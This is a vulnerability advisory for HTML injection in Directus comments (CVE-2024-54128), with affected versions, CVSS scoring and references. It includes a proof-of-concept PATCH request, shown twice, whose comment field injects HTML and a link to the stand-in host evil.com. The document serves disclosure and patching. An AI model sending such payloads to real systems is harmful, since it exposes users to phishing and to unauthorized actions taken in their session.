ghsa-r6wx-627v-gh2f
Vulnerability from github
Summary
The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.
Details
The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.
Example Request:
``` PATCH /activity/comment/3 HTTP/2 Host: directus.local
{ "comment": "
TEST
HTML INJECTION
Test Link" } ```Example Response:
json
{
"data": {
"id": 3,
"action": "comment",
"user": "288fdccc-399a-40a1-ac63-811bf62e6a18",
"timestamp": "2023-09-06T02:23:40.740Z",
"ip": "10.42.0.1",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
"collection": "directus_files",
"item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a",
"comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>",
"origin": "https://directus.local",
"revisions": []
}
}
Example Result:
Impact
With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@directus/app"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "13.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "10.10.0"
},
{
"fixed": "10.13.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-rc.1"
},
{
"fixed": "11.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-54128"
],
"database_specific": {
"cwe_ids": [
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-05T22:37:32Z",
"nvd_published_at": "2024-12-05T17:15:15Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.\n\n### Details\nThe Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.\n\nExample Request:\n\n```\nPATCH /activity/comment/3 HTTP/2\nHost: directus.local\n\n{\n \"comment\": \"\u003ch1\u003eTEST \u003cp style=\\\"color:red\\\"\u003eHTML INJECTION\u003c/p\u003e \u003ca href=\\\"//evil.com\\\"\u003eTest Link\u003c/a\u003e\u003c/h1\u003e\"\n}\n```\n\nExample Response:\n\n```json\n{\n \"data\": {\n \"id\": 3,\n \"action\": \"comment\",\n \"user\": \"288fdccc-399a-40a1-ac63-811bf62e6a18\",\n \"timestamp\": \"2023-09-06T02:23:40.740Z\",\n \"ip\": \"10.42.0.1\",\n \"user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\n \"collection\": \"directus_files\",\n \"item\": \"7247dda1-c386-4e7a-8121-7e9c1a42c15a\",\n \"comment\": \"\u003ch1\u003eTEST \u003cp style=\\\"color:red\\\"\u003eHTML INJECTION\u003c/p\u003e \u003ca href=\\\"//evil.com\\\"\u003eTest Link\u003c/a\u003e\u003c/h1\u003e\",\n \"origin\": \"https://directus.local\",\n \"revisions\": []\n }\n}\n```\n\nExample Result:\n\n\n\n## Impact\n\nWith the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.\n",
"id": "GHSA-r6wx-627v-gh2f",
"modified": "2024-12-05T22:37:33Z",
"published": "2024-12-05T22:37:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-r6wx-627v-gh2f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54128"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/4487fb18d5cb09e071b111d2dc0c9d6bcb437633"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/c89dbb233fbad2fd0cf41eb99d50c6de4e84195d"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directus has an HTML Injection in Comment"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.